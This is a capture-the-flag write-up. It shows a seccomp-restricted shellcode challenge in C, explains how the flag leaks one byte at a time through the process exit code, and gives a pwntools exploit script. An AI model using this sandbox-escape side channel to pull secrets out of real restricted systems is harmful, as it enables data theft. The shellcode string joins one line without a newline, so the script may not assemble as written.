Side-Channel Leak via Exit Code
Challenge Source Code
#include <assert.h>
#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <seccomp.h>
int main(int argc, char **argv, char **envp) {
assert(argc > 1);
int fd = open(argv[1], O_RDONLY | O_NOFOLLOW);
void *shellcode =
mmap((void *)0x1337000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANON, 0, 0);
assert(shellcode == (void *)0x1337000);
int shellcode_size = read(0, shellcode, 0x1000);
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_KILL);
assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0) == 0);
assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0) == 0);
assert(seccomp_load(ctx) == 0);
((void (*)())shellcode)();
}Vulnerability Analysis
The challenge allows us to open a file (via argv[1]), but the seccomp filter restricts us to only read and exit. We cannot use write to print the flag to stdout.
However, the exit syscall takes an integer argument (the exit status), which is returned to the parent process. This creates a side-channel: we can read one byte of the flag and pass it as the exit code. By repeating this process for each byte, we can reconstruct the entire flag.
Exploitation Plan
- Read Flag: Use the
readsyscall to read the flag from the pre-opened file descriptor (FD 3) into memory. - Leak Byte: Select a specific byte from the read buffer and use it as the argument for the
exitsyscall. - Automation: Write a script to run the binary repeatedly, incrementing the index of the byte to leak, and capturing the process’s exit code each time.
Exploit Script
from pwn import *
elf = context.binary = ELF("./challenge")
def get_byte(index):
p = process([elf.path, "/flag"], level='error')
# 1. read(3, 0x1337800, 100)
sc = shellcraft.read(3, 0x1337800, 100)
# 2. Extract byte at index and move to rdi for exit()
sc += f"movzx rdi, byte ptr [0x1337800 + {index}]"
# 3. exit(rdi)
sc += shellcraft.exit('rdi')
p.send(asm(sc))
p.wait_for_close()
return p.poll()
flag = ""
for i in range(100):
b = get_byte(i)
if b == 0 or b is None:
break
flag += chr(b)
print(f"Leaked: {flag}")
if flag.endswith('\n'):
break
print(f"\nFinal Flag: {flag}")